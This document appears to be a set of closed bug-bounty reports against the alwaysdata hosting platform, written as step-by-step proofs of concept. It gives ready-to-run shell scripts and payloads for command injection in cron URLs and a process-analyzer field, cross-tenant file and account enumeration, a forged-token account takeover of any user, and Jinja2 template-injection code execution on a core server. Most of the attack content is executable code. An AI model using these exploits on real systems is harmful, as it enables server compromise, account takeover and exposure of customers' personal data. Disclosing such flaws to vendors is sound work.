|
518 | Closed | Remote Code Execution | SiddharthSharma |
Task Description
Title: Cron TYPE_URLS Accepts Single-Quote in URL Argument — Shell Injection → Remote Code Execution
Severity: Critical
Summary
The cron job feature's TYPE_URLS type is documented as accepting "a list of URLs to request" — it is designed to fetch URLs via curl, not execute arbitrary shell commands (TYPE_COMMAND exists for that). However, the API accepts a single-quote ' character inside the URL argument without rejection. By injecting '$(cmd)' into the URL, the shell quoting is broken and cmd executes as a real command on alwaysdata's jobs server under the account's UID.
Steps to Reproduce
Prerequisites: Any alwaysdata account (free plan). API token from https://admin.alwaysdata.com/token/.
Step 1 — Write payload to file (prevents local shell expansion):
cat > /tmp/job.json << 'EOF'
{
"type": "TYPE_URLS",
"argument": "http://x.com/'$(id>/home/YOUR_ACCOUNT/www/rce_proof.txt)'",
"date_type": "FREQUENCY",
"frequency": 1,
"frequency_period": "minute"
}
EOF
Step 2 — Create the malicious cron job:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
-X POST "https://api.alwaysdata.com/v1/job/?format=json" \
-H "Content-Type: application/json" \
-d @/tmp/job.json \
-w "\nHTTP STATUS: %{http_code}\n"
Expected: HTTP STATUS: 201 — single-quote inside the URL is accepted with no error.
Step 3 — Wait up to 60 seconds for the cron to fire.
Step 4 — Verify RCE:
curl https://YOUR_ACCOUNT.alwaysdata.net/rce_proof.txt
Expected output:
uid=XXXXXX(YOUR_ACCOUNT) gid=XXXXXX(YOUR_ACCOUNT) groups=XXXXXX(YOUR_ACCOUNT)
This file was created by the injected id command running on alwaysdata's server.
Step 5 — Clean up:
# Get JOB_ID from the Step 2 response header Location or re-list jobs:
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
"https://api.alwaysdata.com/v1/job/?format=json"
curl -u "YOUR_API_TOKEN account=YOUR_ACCOUNT:" \
-X DELETE "https://api.alwaysdata.com/v1/job/JOB_ID/?format=json"
|
|
510 | Closed | Command Injection in pids POST field → RCE on 4 bare-me ... | SiddharthSharma |
Task Description
**Summary**
The process analyzer feature at /advanced/processes/analyze/ accepts a pids (Process IDs) field that is supposed to receive only numbers. However, the application never validates that the input is actually numeric. The raw value is passed directly to a shell command using Python's subprocess.call() with shell=True, which means any shell command injected into the field gets executed on the server.
Any authenticated alwaysdata user — including free accounts — can inject arbitrary commands into this field. By changing the ?role= parameter, the same account can trigger execution on all 4 physical servers (http, jobs, services, ssh).
**Severity : Critical (CVSS 10.0)**
**Affected URL: POST /advanced/processes/analyze/?role={http,jobs,services,ssh}**
**Impact**
1. Remote Code Execution — any free account gets shell command execution on bare metal servers 2. Cross-Tenant Exposure — 10,480+ customer accounts visible; NFS-shared home directories accessible across servers 3. 4 Servers Affected — one account triggers RCE on all 4 via ?role=http/jobs/services/ssh 4. No Container Isolation — kernel 6.18.52-alwaysdata, bare metal, no sandbox 5. Root Escalation Path — alcontainer XML-RPC daemon (port 8570) runs as root, is reachable from customer user space
**Steps to Reproduce**
**Prerequisites**
You need a free alwaysdata account. Then get these 3 values:
API Token → admin.alwaysdata.com → top-right → your name → Tokens → copy the 32-char hex string
**SSH User ID:**
curl -s -u "YOUR_TOKEN:" https://api.alwaysdata.com/v1/ssh/
# Look for "id" in the response
**Account Name:**
curl -s -u "YOUR_TOKEN:" https://api.alwaysdata.com/v1/account/ | python3 -m json.tool | grep login
**Terminal Setup — Paste Once**
EMAIL="YOUR_LOGIN_EMAIL"
PASS="YOUR_PASSWORD"
TOKEN="YOUR_API_TOKEN"
SSH_ID="YOUR_SSH_USER_ID"
ACCOUNT="YOUR_ACCOUNT_NAME"
COOKIES="/tmp/poc_cookies.txt"
BASE="https://admin.alwaysdata.com"
login() {
rm -f "$COOKIES"
CSRF=$(curl -s -c "$COOKIES" "$BASE/login/" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
CODE=$(curl -s -c "$COOKIES" -b "$COOKIES" -X POST "$BASE/login/" \
-H "Referer: $BASE/login/" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "login=$EMAIL" \
--data-urlencode "password=$PASS" \
-w "%{http_code}" -o /dev/null)
echo "Login: HTTP $CODE"
}
# Fast single-step inject: runs command AND sends result to API in one injection
fast() {
ROLE="${2:-http}"
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=$ROLE" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=$ROLE" \
-H "Referer: $BASE/advanced/processes/analyze/?role=$ROLE" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(curl\${IFS}-su\${IFS}\"$TOKEN:\"\${IFS}-XPATCH\${IFS}-d\${IFS}\"{\\\"annotation\\\":\\\"\$($1)\\\"}\"\${IFS}https://api.alwaysdata.com/v1/ssh/$SSH_ID/)" \
--data-urlencode "duration=5" \
-w "Injected: HTTP %{http_code}\n" -o /dev/null
sleep 18
curl -s -u "$TOKEN:" "https://api.alwaysdata.com/v1/ssh/$SSH_ID/" \
| python3 -c "import sys,json; print('RESULT:', json.load(sys.stdin)['annotation'])"
}
echo "Ready."
**Step 1 — Login**
Logs in using your credentials and stores the session cookie locally.
login
Expected: Login: HTTP 302
**Step 2 — Prove RCE: id command runs on server**
Injects id directly into the PIDs field. The shell=True subprocess executes it. Result is sent via curl to your own API annotation field — proves outbound execution too.
fast "id"
Expected: RESULT: uid=XXXXX(youraccount) gid=XXXXX(youraccount) groups=XXXXX(youraccount)
**Step 3 — Prove Bare Metal: kernel version**
Shows the server kernel — no container virtualization layer present.
fast "uname\${IFS}-r"
Expected: RESULT: 6.18.52-alwaysdata
**Step 4 — Prove Cross-Tenant: real customer account entries**
Queries LDAP for all accounts on this server. Returns real customer usernames, UIDs, and home directory paths — not just your own account.
login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=http" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=http" \
-H "Referer: $BASE/advanced/processes/analyze/?role=http" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(getent\${IFS}passwd|tail\${IFS}-5|tr\${IFS}$'\\n'\${IFS}'|'>/home/bughuntdemo2/accts.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Waiting 65s..."
sleep 65
fast "cat\${IFS}/home/bughuntdemo2/accts.txt"
**Step 5 — Prove Cross-Tenant: list another customer's home directory via NFS**
From the account list above, pick any customer username. Their home directory is mounted via NFS and readable from any server. This proves cross-tenant file access.
First get a real customer account name from step 4 output, then:
# Replace CUSTOMER_ACCOUNT_NAME with any account name from Step 4 output
fast "ls\${IFS}/home/CUSTOMER_ACCOUNT_NAME/"
**Step 6 — Prove Scale: total account count**
Total customers exposed on this one server.
login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=http" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=http" \
-H "Referer: $BASE/advanced/processes/analyze/?role=http" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(getent\${IFS}passwd|wc\${IFS}-l>/home/$ACCOUNT/ac.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Waiting 65s..."
sleep 65
fast "cat\${IFS}/home/$ACCOUNT/ac.txt"
Expected: RESULT: 10480 (or similar large number)
**Step 7 — Prove Root Escalation Path
**
The alcontainer daemon runs as root and exposes XML-RPC on localhost:8570. HTTP 200 confirms the service is reachable from customer user space — it should be internal-only.
login
fast "curl\${IFS}-s\${IFS}-o\${IFS}/dev/null\${IFS}-w\${IFS}\"%{http_code}\"\${IFS}http://localhost:8570/"
Expected: RESULT: 200
**Step 8**
login
# Fire all 4 injections at once — no waiting between
for ROLE in http jobs services ssh; do
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=$ROLE" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=$ROLE" \
-H "Referer: $BASE/advanced/processes/analyze/?role=$ROLE" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(hostname\${IFS}-I>/home/bughuntdemo2/ip_$ROLE.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Fired: $ROLE"
done
# Single wait for all 4
echo "Waiting 20s..."
sleep 20
# Read all 4 results
login
for ROLE in http jobs services ssh; do
echo -n "?role=$ROLE → IP: "
fast "cat\${IFS}/home/bughuntdemo2/ip_$ROLE.txt"
done
**Step 9 — Cleanup**
▎ Removes all files created during testing. Zero customer data was read or modified.
login
CSRF=$(curl -s -c /dev/null -b "$COOKIES" \
"$BASE/advanced/processes/analyze/?role=http" \
| grep -o 'csrfmiddlewaretoken" value="[^"]*"' \
| grep -o 'value="[^"]*"' | cut -d'"' -f2 | head -1)
curl -s -b "$COOKIES" \
-X POST "$BASE/advanced/processes/analyze/?role=http" \
-H "Referer: $BASE/advanced/processes/analyze/?role=http" \
--data-urlencode "csrfmiddlewaretoken=$CSRF" \
--data-urlencode "pids=1\$(rm\${IFS}-f\${IFS}/home/$ACCOUNT/accts.txt\${IFS}/home/$ACCOUNT/ac.txt)" \
--data-urlencode "duration=5" -o /dev/null
echo "Cleanup done."
|
|
427 | Closed | Cross-Account Takeover via Token Re-Partition | SiddharthSharma |
Task Description
Severity: Critical (CVSS 9.8)
Vulnerability Summary:
The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.
Steps To Reproduce:
**Step 1: Login to your own account**
Creates a session cookie in /tmp/c.txt
rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"
**Step 2: Set last_login in database**
Loads your profile page — this saves last_login = T1 in the database
curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"
**Step 3: Trigger password reset**
Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1
CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"
**Step 4: Set the reset URL**
Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.
RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"
**Step 5: Submit the reset and capture redirect token**
Resets your password and captures the signed redirect. The redirect token is signed with T1.
CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"
**Step 6: Re-login and read T1**
Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).
CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"
**Step 7: Build the attack URL**
Rearranges the token parameters so user_id points to the victim
python3 << 'PYEOF'
import urllib.parse, sys
redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""
params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]
ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut: {ap + '1' + vid}")
print(f"Match: {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")
url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
+ '&all_permissions=' + urllib.parse.quote(ap)
+ '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF
**Step 8: Open the URL in your browser**
You are now logged in as the victim
Impact:
Full account takeover of any user on the platform without knowing their email and password. Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets. No victim interaction required — the victim receives no notification of the login.
|
|
423 | Closed | Broken Object Level Authorization (IDOR) → Mass PII Dis ... | SiddharthSharma |
Task Description
Severity: Critical
CVSS 3.1: 9.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
Affected endpoint: https://admin.alwaysdata.com/domain/add/3/?_field_contact_domain=<ID>
Summary
The domain purchase wizard on admin.alwaysdata.com allows any authenticated free-tier user to retrieve the full registrant identity dossier of any other customer's domain by manipulating the _field_contact_domain GET parameter. The server fetches the victim's registrant record directly from the domain registrar and renders it in the browser.
I tested this against 100 different domain IDs across the platform and every single one returned a different customer's personal data. The vulnerability affects all domains on the platform, exposing the registrant PII of every customer who registered a domain through alwaysdata.
Leaked information:
Phone number, Registrant email address, Firstname, Lastname, Company name, Full Address, Postal code, Fax number, Tax identification number and etc.
Steps to Reproduce
Impact:
Any free-tier user can enumerate all domains on the platform and retrieve the full registrant identity of every domain owner — including first name, last name, postal address, phone number, email, company registration number (SIREN) and EU VAT number. I tested 100 domain IDs and every one returned a different real person's complete identity dossier. Critically, even customers who explicitly enabled alwaysdata's WHOIS privacy option ("Hide my details") are exposed. This constitutes a mass disclosure of EU citizens' personal data including national business identifiers, affecting every customer who registered a domain through alwaysdata.
|
|
415 | Closed | SSTI → RCE on Core Infrastructure Server (overlord-core ... | SiddharthSharma |
Task Description
Severity: Critical Affected Endpoint: https://admin.alwaysdata.com/site/<id>/ — "Additional directives of the virtual host" field
Summary
The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.
Steps to Reproduce
Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)
Step 2 — Go to Web → Sites → click the edit icon on your site
Step 3 — Scroll to "Additional directives of the virtual host" and enter:
# {% endraw %}7_7{% raw %}
Step 4 — Click Submit
Step 5 — SSH into your account:
ssh <account>@ssh-<account>.alwaysdata.net
Step 6 — Read the generated config:
cat ~/admin/config/apache/sites.conf | head -30
Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)
Step 8 — Go back to site edit, replace the payload with:
# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}
Step 9 — Submit, then SSH and read the config again. Observe:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
This is the id command output — RCE confirmed.
Step 10 — Replace payload with:
# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}
Step 11 — Submit, SSH, read config. Observe:
# overlord-core
This is the internal hostname of alwaysdata's core management server.
—
Proof Summary
Payload Output Proof
7_7 49 SSTI — math evaluated
id uid=33(www-data) RCE — system command executed
hostname overlord-core You're on their core management server
—
Impact
This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:
- Read/write files on the core infrastructure server - Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys - Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes - Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and support tickets - Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet
Any user with a free account can exploit this. No special privileges required.
|